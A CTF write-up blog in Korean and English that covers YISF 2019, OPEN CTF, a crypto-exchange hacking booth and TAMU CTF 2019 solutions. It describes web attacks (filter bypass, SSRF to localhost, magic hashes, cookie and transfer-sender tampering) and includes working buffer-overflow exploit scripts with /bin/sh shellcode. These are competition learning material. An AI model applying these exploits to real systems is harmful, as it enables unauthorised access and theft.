반응형
반응형
반응형

처음 포렌식과 미슥만 풀 생각으로 시작했다. 근데 대부분 문제가 예선 300점짜리가 나왔고... (솔버0 미슥 300 리벤지!)

점수판이 1000 1000 1000 0 0 0 0 0 0 0 ...이 되버리는 사태가..

거의 대회 마지막까지도 점수판이 1000 0 0 0 0 0 ... 이어서 막판에 힌트가 터져나왔는데, 웹과 포너블만 힌트가 나오고 내가 풀던 포렌식은 힌트가 3개뿐...(그 중 2개는 아는거) 그래서 각 문제에서 솔버가 나온 것이다.

 

 

이번 포렌식 문제의 경우, 포렌식 + 리버싱 + 크립토가 아닌가 싶다.

 

이미지파일 분석해서 바이러스를 찾고, 바이러스 분석해서 암호화된 파일 복호화하기.

이렇게 과정이 2가지인데, 힌트 1번과 2번은 과정1에 대한 것이었고, 힌트 3번은 과정2에 대한 것이었다.

 

과정1의 경우 작년 예선 포렌식100을 풀었었다면 쉽게 풀 수 있다.

 

 

 

 

문제 내용은 대강 이렇다.

스피어 피싱을 당해서 바이러스을 실행시켰고, 그로 인해 파일이 암호화되었다. 바이러스를 찾고 암호화된 파일을 복호화하자!

 

스피어 피싱은 이메일을 통해 이루어진다고 한다. 그래서 이메일 관련 해서 분석을 해보면 된다.

하지만 난 바닥부터 차근차근 해보았다. (사실 처음에 스피어피싱을 제대로 보지 않아서..)

 

 

 

 

일단 \Users\Doctuments에 있는 hwp문서들이 .apworegin 확장자명으로 암호화되어있는 것을 확인한다.

엑세스된 시각은 오전 4:43:04(UTC) = 오후 1:43:04(KST)이다.

 

 

그리고 바이러스 프로그램이 실행되었을테니 프리패치파일을 확인했다.

\Windows\Prefetch

 

폴더 채로 추출해서 내 로컬 프리패치 폴더와 바꿔치기 해서 분석툴로 분석했다.

 

 

비슷한 시간대를 위주로 살펴보면, photoshopsetup.exe이 바이러스파일임을 알 수 있다.

그러나 해당 프로그램의 경로가 나와있지 않는다. 그래서 NTFS log를 분석했다.

 

NTFS Log Tracker을 사용했다. 필요한 파일들의 위치는 아래 블로그를 참고하자.

https://infosecguide.tistory.com/110

 

 

 

파일명으로 검색을 했다.

파일명이 변경되고 실행되고 삭제됨을 알 수 있다. 삭제되었는데 휴지통에서도 찾을 수는 없었다.

파일명이 변경되기 이전을 살펴보았다.

 

 

 

크롬으로 다운로드 되었다.

그래서 크롬 방문기록과 다운로드 기록을 확인하였는데, 해당 파일은 찾을 수 없었다.

여기서 문제를 다시 읽고, 스피어 피싱 = 메일임을 확인했다. 방문기록에 eM Client가 있음을 확인했고, 작년 예선에서 풀어보았기 때문에 해당 프로그램이 이메일 프로그램임을 알고 있었다. 먼저 내 컴퓨터에 eM Client를 설치하고, Appdata\Loaming\ 에 있는 eM Client 파일을 통채로 복사해서 내 컴에 그대로 덮어주고 프로그램을 실행하면 메일 내용을 확인 할 수 있다.

 

 

메일 내용에서 pdf첨부파일을 구할 수 있고, 열어보면 다운로드 링크를 준다.

다운로드 링크를 통해 photoshopsetup.exe을 다운로드 받을 수 있다.

 

 

여기까지 바이러스를 찾는 과정.

다음은 암호화된 파일을 복호화해야한다. 제공된 힌트 3번째 = "파일은 AES로 암호화되었다."

 

 

플래그 형식이 바이러스명_바이러스가 다운로드 된 시각_바이러스를 보낸사람의 이메일 아이디

뭐 이런거면 풀었는데.. 너무 쉽나?

반응형
반응형

M4ndU 600점 10등

 

REV 50

FOR 50

MISC 50 100 150 200

 

 

 

[2019] 제17회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.docx
0.42MB

 

[2019] 제17회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.pdf
0.41MB

 

두개 모두 동일한 내용의 파일입니다.

 

 

 

아래 글에는 보고서에 포함된 내용 + 풀이 과정 비하인드(?) + MISC 300 문제 풀이 일부를 포함하고 있습니다.

 

 

Reversing 50

문제 이름

기밀 문서

 

문제 설명

 문서에는 엄청난 것이 들어있는게 분명하다.
 무엇이 들어있는지 확인해볼까?

TOP_SECRET
 Hint1 : 특정 폴더와 파일 이름?
 Hint2 : 비밀번호 변조

 

 

TOP_SECRET이라는 파일이 하나 주어집니다.

 

 

ELF 64bit file

Exeinfo PE로 보면, ELF 64비트 파일임을 알 수 있습니다.

 

 

main함수
sub_B2F함수

IDA로 까보면, 실행경로와 파일명을 출력해주고, id와 pw를 입력받는 것을 알 수 있습니다.

 

sub_B2F함수의 42행을 보면, 실행경로의 7번째 글자부터 4바이트가 YISF인지 비교를 합니다.

있을 경우, Hmm...?을 출력해줍니다.

 

그리고 실행경로의 12번째 글자부터 10바이트를 TOP_SECRET와 비교합니다.

있을 경우, id와 pw을 입력을 받습니다.

 

 

 

id
pw

id와 pw는 변수명을 더블클릭하면 문자열을 보여줍니다.

 

id =  The_World_Best_Programmer

 

pw =  qwe123

 

 

 

따라서 TOP_SECRET파일을  /home/YISF/TOP_SECRET/ 으로 이동시켜서 실행하면 됩니다.

 

 

너 속았냐?

 

하지만 이렇게 출력된 플래그는 인증이 안됩니다. 조건을 하나 더 충족시켜야 하는데요. main함수를 다시 보시면 20번 행에서 파일명의 7번째부터 4바이트를 "flag"와 비교함을 알 수 있습니다.

 

따라서 파일명도 바꿔주어야 합니다. 저는 파일명을 123456flag로 변경하였습니다.

 

 

오이 오이 믿고 있었다구!!

그러면 인증가능한 플래그가 출력됩니다.

 

 

 

 

Forensic 50

문제 이름

범죄를 증명하라(1)

 

문제 설명

마약관련 범죄를 저지른 범죄조직을 감시하던중 네트워크를 통해 정보를 주고받았다는 제보를 받았다. 패킷을 수집하였으나 분석을   있는 사람이 없어 분석을 못하고 있다. 수사기관을 도와 분석을 마무리하자.

 <제보1> 익명의 제보자는 조직원들이 FTP 이용하여 파일을 공유했다라고 한다.
 <제보2> 익명의 제보자는 recovery라는 메시지를 남긴  연락이 두절되었다.....
 <제보3> 연락 두절된 제보자가 image.zip 복구하라는 메세지를 보냈다!

 

 

 

작년 처럼 포렌식으로 점수먹으려다가 첫 문제에서 10시간이상 소비한 문제...

 

일단 힌트가 없었을때, wireshark로 분석했을 때, 크게 2~3개정도로 나눌 수 있었습니다.

 

1. 아프리카tv 패킷

2. ftp 패킷

3. websocket 패킷

 

 

websocket 패킷을 봤을 때 사람 이름들이 나오길레 이건가 싶었는데... 결론은 관련이 없었습니다. 아프리카tv쪽에서 나온 패킷인 것 같습니다. (추측)

 

 

힌트1 <제보1>을 통해서 ftp패킷을 분석함이 확실해져서 ftp-data패킷만 모아서 파일들을 추출하였습니다. wireshark 필터에 (ftp-data)을 입력하면 해당 패킷만 모아 볼 수 있습니다. 그리고 패킷 우클릭 > follow > TCP Stream

RAW > save as > 추출!

 

image.zip 파일, 기차 이미지 파일 2개, 멜론 설치 파일

총 4개의 파일을 얻을 수 있었습니다. image.zip파일이 오류로 열리지 않느 것 빼곤 나머지 파일은 정상이었습니다.

 

HxD로 봤을 때, image.zip파일이 열리지 않는 이유가 일단 파일 크기가 매우 크게 설정된 것도 있었고, 파일 명도 읽을 수 없는 형태였습니다. zip파일 시그니쳐가 손상된 것도 아니고... 제가 아는 복구 방법으로는 해결을 못했습니다.

 

그렇게 힌트 존버하다가... 나온 힌트들이 모두 이미 진행된 내용이라 포기하려다가

 

어떤 한분이 푸시고, 디스코드에 '운이 좋게 풀었다', '노가다 했다'라고 하셔서 저도 풀 수 있을 것 같다는 생각이 들었고 구글링을 시작했습니다. "ctf zip 복구"로 검색을 하니 블로그 글 하나를 찾을 수 있었습니다.  

 

https://m.blog.naver.com/PostView.nhn?blogId=j28150&logNo=220993474255&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

[Plaid CTF 2017] zipper (Misc 50pts)

Something doesn't seem quite right with this zip file. Can you fix it and get the flag?zip파일 헤...

blog.naver.com

 

위 블로그 글에 나온대로 풀려고 했는데, 주어진 zip파일은 파일 크기 부분이 정상이 아니었기 때문에, data부분의 정확한 크기를 알 수 없었습니다. 그래서 1바이트씩 줄여가며 시도할 생각으로 0000이 끝나는 부분을 기점으로 추출해서 zip파일을 만들고 파이썬 코드로 압축 풀기를 시도했습니다.

 

image.zip dat부분
data 부분을 추출하여 만든 image.zip

 

s.py

1
2
3
import zlib
= open('image.zip').read()
print zlib.decompress(d, -15)
cs

python s.py

실행결과 :

FLAG : YISF{Y0U_4R3_G00D_H0M3_M4K3R}

 

 

띠용.. 플래그가 바로 나와버렸습니다...

 

 

 

 

Misc 50

문제 이름

 확인

 

문제 설명

룰을 확인하세요!

 

대회의 룰을 읽고 하단의 ‘확인을 클릭하면플래그가 나왔습니다.

FLAG : YISF{G00D_LUCK_3V3RY01V3}

 

 

 

 

Misc 100

문제 이름

Hidden area search

 

문제 설명

nc 218.158.141.199 24763

  문제마다 새로운 직선방정식 3개가 주어진다.
  직선방정식들로 만들어진 삼각형의 넓이를 구하여라

 

 

일차방정식 3개를 입력받아, 각각  방정식끼리 연립해서 교점을 구하고,  점의 좌표를  때의 삼각형 넓이 공식에 대입하여 넓이를 구하였습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from sympy import *
from pwn import *
 
def cleaneqn(s):
    s = str(s)
    s= list(map(str, s.split()))
    s[0= s[0].replace("b'""")
    s[6= s[6].replace("\\n'","")
    if int(s[3])<0:
        ss = s[0]+"*"+s[1]+s[3]+"*"+s[4]+" "+s[6]
    else:
        ss = s[0]+"*"+s[1]+s[2]+s[3]+"*"+s[4]+" "+s[6]
    return ss
 
def solveeqn(a1, a2): #연립방정식 풀어서 x와 y값 구하기
    x, y = symbols('x y')
    a1 = a1.split()
    a2 = a2.split()
    return eval("solve( [ Eq("+a1[0]+" ,"+a1[1]+"), Eq("+a2[0]+", "+a2[1]+") ], [x,y] )"#입력 형태 맞춰 넣기가 애매해서 eval함수 사용했습니다.
 
def solve_func(e):
    x, y = symbols('x y')
 
    for i in range(0,3):
        e[i] = cleaneqn(e[i]) #입력받은 방정식을 sympy가 입력받을 수 있는 형태로 변환
 
    ss1 = solveeqn(e[0], e[1]) #교점 좌표 구하기
    ss2 = solveeqn(e[1], e[2])
    ss3 = solveeqn(e[0], e[2])
    x1 = ss1[x]
    y1 = ss1[y]
    x2 = ss2[x]
    y2 = ss2[y]
    x3 = ss3[x]
    y3 = ss3[y]
    ans = 0.5*abs((x1 - x2)*y3 + (x2-x3)*y1 + (x3-x1)*y2) #각 꼭짓점의 좌표를 알 때의 삼각형 넓이 공식
    return ans
 
#main
equation = ["0"]*3 #방정식을 저장하기 위함
= remote("218.158.141.199"24763)
p.recvuntil("Start>")
p.recvline()
p.recvline()
for i in range(0100):
    print(p.recvline()) #step
    p.recvline()
    equation[0= p.recvline()
    equation[1= p.recvline()
    equation[2= p.recvline()
    for j in range(03):
        print(equation[j])
    p.recvuntil(":")
    p.sendline(str(solve_func(equation)))
    print(p.recvline()) #correct
    p.recvline()
 
p.interactive()
 
#flag : YISF{Mathematical_ability_i5_n0t_ru5ty}
 
cs

 

 

 

Misc 150

문제 이름

Rule_reverse_engineering

 

문제 설명

[MISC-150]Rule_reverse_engineering
 nc 218.158.141.182 52387

 실행마다 예시인 문자열이 달라지는데 바이너리값은 같을 때가 있다.
 같은 것을 보면 문자열에서 바이너리로 변하는 일정한 규칙이 있는  같다.
 규칙이 적용된 문자열이 주어진 바이너리와 같도록 문자열을 입력해라 

 

 

Step :  1

00010011000001100110101
height = 5
table :  {'4': '1', 'x': '001', '3': '0001', '5': '01', '6': '0000'}

 

 

table이 주어집니다. 오른쪽에 해당하는 문자열을 왼쪽 문자로 치환해주면 됩니다.

치환해야할 문자열이 긴 것 부터치환을 하면 됩니다.

그런데 치환한 문자가 0이나 1이면 치환해야할 문자로 판단하여 또 치환해버립니다. 

 

그래서 치환한 문자가 0이 1이면 전혀 다른 범위의 문자로 바꾸었다가 마지막에 되돌려 놓았습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import ast
 
def ccccc(h):
    h = h.replace('b"table :  '"")
    h = h.replace('\\n"'"")
    print(h)
    inn = ast.literal_eval(h) #type dictionary
    return inn
 
def ddd(e):
    e = e.replace("b'""")
    e = e.replace("\\n'""")
    return e
 
def ans(innn, task):
    innn = ccccc(innn)
    ss = sorted(innn, key=lambda k : innn[k]) #치환 대상 문자열의 길이가 긴 순서대로 치환
    task = ddd(task)
    for j in ss:
        p=j
        if j == "1"#치환 대상의 문자열과 동일한 0 과 1을 범위 밖의 문자로 치환하여 나중에 다시 되돌림
            p = "#"
        if j == "0":
            p = "@"
        task = task.replace(innn[j], p)
    task = task.replace("#""1")
    task = task.replace("@""0")
    print(task)
    return task
 
#main
= remote("218.158.141.182"52387)
p.recvuntil("Step :  1")
p.recvline()
p.recvline()
for i in range(099):
    try:
        t = p.recvline() #task
        p.recvline()
        table = p.recvline() #table
        p.recvuntil(": ")
        p.sendline(ans(str(table), str(t)))
        print(p.recvline())
        p.recvline()
        p.recvline()
        p.recvline()
        print(p.recvline())
        print(p.recvline())
    except:
        p.interactive()
= p.recvline() #Stage 100
p.recvline()
table = p.recvline()
p.recvuntil(": ")
p.sendline(ans(str(table), str(t)))
p.interactive()
 
#flag : YISF{Y0u_make_table_WeLL}
 
cs

 

 

 

Misc 200

문제 이름

Find First!

 

문제 설명

nc 218.158.141.142 9238

 처음 시작 위치를 찾아라!
 [설명]
 1. 모든 버튼은 전부 한번  눌려야 하고 항상 마지막으로는 F 눌립니다.
 2. 배열의 시작은 왼쪽 ( (x, y)=(0, 0) )이고 x y 값은 0 양의 정수 입니다.
 3. 버튼의 처음 시작 위치를 문제당 1 안에 찾으십시오.
 4. 배열의 행과 열의 크기는 5 이상, 10 이하 입니다.
 5.문자는 다음 버튼의 위치를 나타내고 숫자는 이동  수를 나타냅니다.
 5-1) D = Down, U = Up, R = Right, L = Left  
 5-2) Ex) D5 = 아래로 5, R3 = 오른쪽으로 3 
 6. 모든 스테이지를 클리어 하면 플래그가 주어집니다.

 

[?] Input Example
[*] Problem 1
R2 R2 D2 F
U1 D1 D2 D2
U1 U2 U1 L3
R1 U2 L2 U1

[?] If the starting position's Row : 3, Column : 1.
Input : 3 1
[O] Correct!

[*] Problem 1
D4 L1 R2 D1 F
R2 U1 D1 L3 D2
D1 R3 D1 U2 L4
R1 U2 U3 U1 D1
R3 U2 L1 U1 L2

 

 

 

쉽습니다. 일단 F에서부터 출발할 필요가 없습니다. 중간에서 찾아가도 시작점은 나오니까요.

 

 

시작점을 (0,0)에서부터 시작해서 위 아래 양옆 기준으로 이전 위치를 찾아갑니다.

 

이전 위치가 위라면 n칸만큼 떨어진 곳에 Dn이 있을 것이고, 왼쪽이라면 Rn이 존재할 것입니다. 이러한 방식으로 이전 위치를 찾고, 이전위치를 기준으로 다시 더 이전 위치를 찾습니다. 모든 방향으로 조건에 만족하는 것이 없다면 그 곳이 시작위치가 됩니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import re
 
def ddd(e):
    e = e.replace("b'""")
    e = e.replace("\\n'""")
    return e
 
 
def cntarr(col): #count element in first line / range of x
    col = ddd(col)
    col = col.replace("\\t""")
    col = col.replace("F""FF")
    col = col.replace("\\r""")
    cnt = int(len(col) *0.5)
    return cnt
 
def ans(b, c, d):
 
    for o in range(0, d):
        a[o] = ddd(str(a[o]))
        a[o] = a[o].replace("\\t""")
        a[o] = a[o].replace("\\r""")
        a[o] = a[o].replace("F""FF")
        aa = a[o]
        print(a[o])
        a[o] = re.findall(r'..',aa)
    print(a)
    now_x = 0 #F부터 시작할 필요가 없음. (0,0)지점부터 시작
    now_y = 0
    overcnt = 1
    while(overcnt > 0): #시작위치를 찾아내면 루프를 벗어남
        #현재 위치가 시작점이 아니라면, 이전 위치를 찾아야함.
        #만약 이전 위치가 왼쪽 방향이라면, 왼쪽 방향 n거리 만큼에 Rn이 존재함.
        #아래쪽 방향이라면, 아래쪽 방향 n거리 만큼에 Un이 존재함
        for k in range(010): #MAX 10. scan start
            n = str(k)
            if now_x+< c: #배열 범위를 벗어나면 오류가 나기 때문에, 범위를 지정해주어야함
                if now_y >= 0 and now_x >=0 and a[now_y][now_x+k] == ("L"+n): #right
                    now_x += k #찾은 경우, 현재 위치를 찾은 위치로 이동함
                    break
            if now_y+< d:
                if now_y >= 0 and now_x >=0 and a[now_y+k][now_x] == ("U"+n): #down
                    now_y += k
                    break
            if now_x->=0:
                if now_y >= 0 and now_x >=0 and a[now_y][now_x-k] == ("R"+n): #left
                    now_x -= k
                    break
            if now_y->=0:
                if now_y >= 0 and now_x >=0 and a[now_y-k][now_x] == ("D"+n): #up
                    now_y -= k
                    break
            if k == 9:
                overcnt = 0 #모든 방향에 존재하지 않는다면 현재 위치가 시작지점임
 
    ax = now_x
    ay = now_y
    print(ax, ay)
    return ax, ay
 
 
 
= remote("218.158.141.142"9238)
p.recvuntil("Problem 1\n")
p.recvuntil("Problem 1\n")
for m in range(0,99):
    a= ["0"]*10
    a[0= p.recvline()
    print(a)
    count = cntarr(str(a[0]))
    c2=1
    for i in range(110):
        a[i] = p.recvline()
        c2 +=1
        if len(str(a[i])) < 10:
            c2-=1
            break
    p.recvuntil(": ")
    w, z = ans(a, count, c2)
    p.sendline(str(w)+" "+str(z))
    print(p.recvline())
    p.recvline()
    print(p.recvline())
#stage 100
a= ["0"]*10
a[0= p.recvline()
print(a)
count = cntarr(str(a[0]))
c2=1
for i in range(110):
    a[i] = p.recvline()
    c2 +=1
    if len(str(a[i])) < 10:
        c2-=1
        break
p.recvuntil(": ")
w, z = ans(a, count, c2)
p.sendline(str(w)+" "+str(z))
p.interactive()
 
#flag : YISF{Y0(_)_4r3_4_w0nd3rf(_)l_pr0gr4mm3r!!}
 
cs

 

 

 

Misc 300

 

솔버 0이라서 그런지 지금은 문제가 닫혀있다.

 

 

nc접속을 하면, 스테이지가 100개가 있는데, 스테이지마다 매우 많은 base64인코딩 문자열을 준다.

디코딩을 하게 되면 hex값이 나온다. 이를 파일로 만들면 png파일이 나온다.

 

이미지를 열면 이미지에 문자가 젹혀 있고, 이 문자를 읽어서 5초안에 제출하면 된다.

 

 

그래서 생각한게, 이미지를 만들어놓고 내가 이 이미지를 바로 봐서 직접 타이핑해서 제출하는 방식이었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import base64
import binascii
import cv2
from PIL import Image
import matplotlib.pyplot as plt
 
# matplotlib.image 를 사용하기 위해선 matplotlib 뿐만 아니라 pillow도 깔아야 한다
 
import matplotlib.image as mpimg
 
def show(e):
    data = str(e)
    data = data.replace("b'""")
    data = data.replace("\\n\\n['""")
    data2 = data.split("\\n")
 
    dat= ""
    for i in range(0len(data2)):
        dat += str(base64.b64decode(data2[i]).decode('utf-8'))
    dat = dat.replace("b'""")
    dat = dat.replace("'""")
 
    red = dat
 
    bin_ = ""
    for j in range(0len(red), 2):
        binary_d = str(red[j:j+2])
        binary_d = binary_d.replace("b'""")
        binary_d = binary_d.replace("'""")
        bin_ += "\\x"+binary_d
 
    fh = open("image.png""wb")
    eval("fh.write(b'"+bin_+"')")
    fh.close()
    
    '''
    # 색상 범위 설정
    lower = (0, 0, 0)
    upper= (150, 150, 150)
 
    # 이미지 파일을 읽어온다
    img = mpimg.imread("image.png", cv2.IMREAD_COLOR)
 
    # BGR to HSV 변환
    img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
 
    # 색상 범위를 제한하여 mask 생성
    img_mask = cv2.inRange(img_hsv, lower, upper)
 
    # 원본 이미지를 가지고 Object 추출 이미지로 생성
    img_result = cv2.bitwise_and(img, img, mask=img_mask)
 
    # 결과 이미지 생성
    imgplot = plt.imshow(img_result)
 
    plt.savefig('./image1.png')
 
    img = Image.open('./image1.png')
    thresh = 245
    fn = lambda x : 255 if x > thresh else 0
    r = img.convert('L').point(fn, mode='1')
    r.save('./image1.png')
    '''
 
 
= remote("218.158.141.149"25496)
p.recvuntil("=\n")
p.recvline()
 
for ZZZZZZZZZZZZZ in range(0,99):
    b64 = p.recvuntil("[")
    show(b64)
    p.recvuntil(": ")
    user_input = str(input())
    p.sendline(user_input)
    print(p.recvline())
    print(p.recvline())
    print(p.recvline())
    print(p.recvline())
 
b64 = p.recvuntil("[")
show(b64)
p.interactive()
 
cs

 

 

근데 이게 줄쳐진 것 때문에 사람이 읽기도 힘들다. 정확히는 비슷한 글자들로 헷갈린다.

게다가 한 스테이지마다 5초안에 입력하는걸 100스테이지를 해야하는데 직접 해보니 25스테이지 정도가 한계였다.

타임아웃뜨거나 오타나거나해서...

 

그래서 컴퓨터가 직접 글자를 인식해서 자동으로 보내게 해야 했다. 근데 이게 가능한가...

 

pytesseract을 설치해서 사용해 봤는데 인식을 못했다.

 

 

그래서 글자를 더 잘 구별할 수 있도록 회색글자부분만 추출해서 검정으로 바꾸는 코드를 추가했었다.

 

그런데도 인식을 못했다. 나라도 잘 봐서 직접 입력하더라도 정확도를 높이려고 했는데....

 

 

2스테이지를 넘어가면 ... 이전 이미지에 겹쳐져서 나온다. 처음 써보는 모듈이라 이걸 어떻게 해결해야 할지도 모른다..

 

 

 

마지막에 생각난 아이디어. 여러번 접속을 해서

base64문자열 받고 -> 이미지 변환 -> 직접 입력

직접 입력한 값과 base64문자열의 해쉬값을 db에 저장

최종실행에 입력받은 base64를 해쉬돌려서 db에 있는거랑 비교, 입력값 전송

 

그런데 전체 이미지 개수가 1만개가 넘어갈 수도 있을 텐데.. 이것도 안될 것 같았다. 포기

 

 

 

반응형
반응형

서버는 닫힌 관계로 사진 없이 글로만 풀이를 작성하였습니다.

 

 

OPEN CTF Write Up

 

MISC - Welcome

 

이미지 파일이 주어지는데, HxD로 열어보면 PNG 파일과 JPG 파일이 붙어있음을 확인할 수 있다. 처음에 PNG 시그니쳐로 시작하기 때문에 엔드시그니쳐 END를 찾아내서 바로 다음에 붙어있는 JPG 시그니쳐부터 끝까지 추출해서 jpg 파일을 하나 만들어주면 flag가 담긴 이미지가 나온다.

 

 

WEB 첫 번째

 

문제 이름이 easy web이었던가.. 혀튼 id값을 받는 폼이 있었는데 admin으로 로그인만 하면 되는 문제였다.

 

여러가지를 입력해보니, "admi"을 필터링 한다는 사실을 알 수 있었다. (해당 문자열을 필터링한 나머지 문자열만 출력한다.)  그렇다면 입력을 admadmiin으로 입력해준다면 가운데 "admi"을 필터링한 나머지 문자열이 admin이 되어서 플래그가 나온다.

 

 

WEB 두 번째

 

문제이름이 proxy 이었을 것이다. 쿼리(url뒤에 ?로 값받는거)로 url을 입력받아 해당 url의 내용을 보여준다.

 

url에 문제 url을 입력하고 페이지 소스를 보니, 주석으로 admin.php가 적혀있던 것으로 기억한다.

 

url에 문제 url/admin.php를 입력했을 때 권한이 막혔거나 아무것도 표시되지 않았던 것으로 기억되고, 그래서 url을 ㅗhttp://127.0.0.1/admin.php 로 했을 때 flag가 나왔던 것 같다.

 

 

WEB 세 번째

 

MAGIC

 

이 문제는 php 소스를 제공했다. 매직해쉬를 이용한 것인데 주니어 보안 세미나에서 php 관련 발표에서도 다뤘떤 내용이었다.

 

https://www.whitehatsec.com/blog/magic-hashes/ 여기 참조해서 md5값을 넣어주면 됐었다.

 

 

WEB 네 번째

 

문제이름에 cookie가 들어갔던 문제. 매우 쉬운 문제. 그냥 쿠키중에 guest를 값으로 가지는게 있었을 것이다. 그 값을 admin으로 바꾸어주면 flag가 나왔다.

 

 

 

 

부스 write up

 

가상화폐 거래서 해킹 체험

 

포인트와 코인이 있는데 코인 수를 50000이상으로 늘리면 된다.

 

 

방법 1

 

처음 계정을 만들면 1포인트를 제공한다. 1코인 시세가 0.00012정도였으니 8000개 정도를 구매할 수 있다.

 

그럼 7개의 계정을 만들어서 8000개정도 구매한뒤 한 계정으로 모두 송금하면 된다.

 

(시도한 사람을 없었다고... 물론 정석은 아니었다.)

 

 

방법 2

 

풀고 있는데 옆에 계신 분이 찾으신 방법. 이 방법도 정석은 아니다.

 

계정을 2개 만든다. (A, B 라고 하겠다.)

 

A로 코인을 1개 이상 매수하고 B로 -(원하는만큼) 송금한다. -50000만큼 보냈다치면, A의 잔액은 +50000이 되는 것이고 B의 잔액은 -50000이 된다.

 

이렇게 A의 잔액을 늘릴 수 있다.

 

 

[A가 0개의 코인을 가지고 있다면 음수의 개수만큼을 송금하는 것은 실패한다. 하지만 코인의 수가 0이 아니라면 음수의 개수만큼 송금이 가능했다.]

 

 

방법 3

 

정석.

 

송금을 할 때, 클라이언트는 서버로 sender, receiver, amount만 보낸다. sender의 지갑에 대한 별다른 인증이 없기 때문에 지갑 주소만 안다면 해당 지갑에 든 코인을 빼낼 수 있다.

 

랭킹을 보면 codegate라는 계정이 존재하는데, 해당 유저의 페이지로 들어가보면 코인을 999999만큼 가지고 있다.

이 유저의 코인을 내 지갑주소로 보내면 된다.

유저 페이지에서 지갑주소가 표시되진 않지만, 크롬 개발자 도구 > Network에서 wallet의 response들을 잘 살펴보면 지갑주소를 찾아낼 수 있다.

 

burp suite을 이용해 송금할 때 발생되는 패킷을 잡아서,

찾아낸 codegate의 지갑주소를 sender로, 나의 지갑주소를 receiver로, amount는 50000 이상으로 바꿔주면 된다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

YISF 2019 본선 풀이  (0) 2019.08.19
제17회 YISF 2019 예선 write-up  (0) 2019.08.14
TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
반응형

write up by M4ndU (Team WH0a, high school)


Poor English. Sorry.

Pwn


Pwn1

355

nc pwn.tamuctf.com 4321

Difficulty: easy

32bit elf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+1h] [bp-3Bh]@1
  int v5; // [sp+2Ch] [bp-10h]@1
  int v6; // [sp+30h] [bp-Ch]@1
  int *v7; // [sp+38h] [bp-4h]@1
 
  v7 = &argc;
  setvbuf(stdout, (char *)200);
  v6 = 2;
  v5 = 0;
  puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
  puts("What... is your name?");
  fgets(&s, 43, stdin);
  if ( strcmp(&s, "Sir Lancelot of Camelot\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is your quest?");
  fgets(&s, 43, stdin);
  if ( strcmp(&s, "To seek the Holy Grail.\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is my secret?");
  gets(&s);
  if ( v5 == 0xDEA110C8 )
    print_flag();
  else
    puts("I don't know that! Auuuuuuuugh!");
  return 0;
}
cs


If value of v5 is equal to 0xDEA110C8, we can get a flag.

Using bof vuln at Line 28 to override v5.

s is at ebp - 0x3B.
v5 is at ebp - 0x10.

offset 43bytes

payload = dummy[43] + v5[4]

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("pwn.tamuctf.com"4321)
 
v5 = 0xDEA110C8
 
payload = "A"*43
payload += p32(v5)
 
p.recvline()
p.recvline()
p.sendline("Sir Lancelot of Camelot")
p.recvline()
p.sendline("To seek the Holy Grail.")
p.recvline()
 
p.sendline(payload)
 
p.interactive()
cs


flag : gigem{34sy_CC428ECD75A0D392}



Pwn3

454

nc pwn.tamuctf.com 4323

Difficulty: easy


32bit elf

1
2
3
4
5
6
7
[*] '/home/mandu/pwn3'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
cs

no NX, but PIE enabled.

1
2
3
4
5
6
7
char *echo()
{
  char s; // [sp+Eh] [bp-12Ah]@1
 
  printf("Take this, you might need it on your journey %p!\n"&s);
  return gets(&s);
}
cs

stack leak and bof vuln.

payload = dummy[0x12A+4] + &shellcode[4] + NOP[40] + shellcode[25]

dummy 자리에 nop+shellcode를 넣어봤었는데 잘 안되서 그냥 리턴주소 이후로 빼놨더니 되었습니다.

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= remote("pwn.tamuctf.com"4323)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
p.recvuntil('ney ')
buffer = int(p.recvuntil('!')[:-1], 16) #leak
 
payload = "A"*(0x12a+4) #dummy
payload += p32(buffer+0x12a+20)  #ret
payload += "\x90"* 40 #NOP
payload += shellcode
 
p.sendline(payload)
 
p.interactive()
cs


flag: gigem{r3m073_fl46_3x3cu710n}



Pwn4

356

nc pwn.tamuctf.com 4324

Difficulty: medium


